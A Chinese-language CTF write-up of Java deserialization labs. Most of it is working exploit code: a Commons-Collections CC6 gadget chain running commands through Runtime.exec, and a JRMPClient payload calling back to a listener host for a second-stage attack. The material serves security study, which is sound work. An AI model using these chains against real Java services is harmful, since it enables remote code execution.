lab1-basic
源码如下,/basic路由中存在反序列化入口,且存在一个Calc类可以利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.yxxx.javasec.deserialize;
import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam;
@Controller public class IndexController { public IndexController() { }
@RequestMapping({"/basic"}) public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); return "index"; } }
|
直接修改Calc类属性即可,使用Utils中的函数把对象转成十六进制即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.yxxx.javasec.deserialize;
import java.lang.reflect.Field; import static com.yxxx.javasec.deserialize.Utils.*;
public class Lab1 { public static void editField(Object obj, String fieldName, Object value) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { Calc calc = new Calc(); editField(calc,"canPopCalc",true); editField(calc,"cmd","whoami");
String exp = objectToHexString(calc); System.out.println(exp); } }
|
lab2-ysoserial
源码如下,这一题没有自带的恶意类,但是pom.xml依赖中存在cc,版本是3.2.1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.yxxx.javasec.deserialize;
import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam;
@Controller public class IndexController { public IndexController() { }
@RequestMapping({"/basic"}) public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("SJTU") && year == 1896) { objectInputStream.readObject(); }
return "index"; } }
|
反序列化入口也有readUTF()和readInt(),我们可以手写一个cc6的链子
按照顺序,先写UTF再写Int,再写Object
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.yxxx.javasec.deserialize;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.*; import java.util.*;
public class Lab2 { public static Object getexp(String cmd) throws Exception { Class clazz = Class.forName("java.lang.Runtime"); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(clazz), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hm = new HashMap<>(); Map<Object, Object> lm = LazyMap.decorate(hm, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lm, "kkk"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "1111"); lm.remove("kkk"); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lm, chainedTransformer);
return hashMap; }
public static void main(String[] args) throws Exception { ByteArrayOutputStream outputStream=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(outputStream); Object obj=getexp("whoami");
oos.writeUTF("SJTU"); oos.writeInt(1896); oos.writeObject(obj);
String exp =Utils.bytesTohexString(outputStream.toByteArray()); System.out.println(exp);
} }
|
lab3-shiro-jrmp
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class MyObjectInputStream extends ObjectInputStream { private ClassLoader classLoader;
public MyObjectInputStream(InputStream inputStream) throws Exception { super(inputStream); URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs(); this.classLoader = new URLClassLoader(urls); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class clazz = this.classLoader.loadClass(desc.getName()); return clazz; } }
|
实现了自定义的ObjectInputStream,使用URLClassLoader
就是加载类的方式改变了,ObjectInputStream
使用Class.forName
加载类,而MyObjectInputStream
使用URLClassLoader.loadClass
加载类。
shiro
中就使用这种类加载方式,但shiro
中java原生类的数组还可以加载的,而这个题是所有类都是用loadClass
方法加载,所以之前的shiro
反序列化的EXP在这里也是不能用的,因为TemplatesImpl
中的bytecode
的值是个二维字节数组。根据题目名可知,这里要结合JRMP协议实现二次反序列化攻击。
这里借鉴了yso的JRMPClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class Lab3 { public static Registry getObject() { String host="10.7.1.16"; int port=4444; ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Lab3.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; }
public static void main(String[] args) throws Exception { ByteArrayOutputStream outputStream=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(outputStream); Object obj=getObject();
oos.writeUTF("SJTU"); oos.writeInt(1896); oos.writeObject(obj);
String exp =Utils.bytesTohexString(outputStream.toByteArray()); System.out.println(exp);
} }
|
然后利用ysoserial
开启一个JRMPListener
,打一个cc链即可
lab4-shiro-blind
源码跟lab3几乎一样,就是不出网,不能用jrmp,这里得找个不用数组的链子来打
Reference
[javaDeserializeLabs writeup - Longlone’s Blog](https://longlone.top/安全/java/java反序列化/javaDeserializeLabs writeup/)
JavaDerserializeLabs-writeup - noViC4的笔记本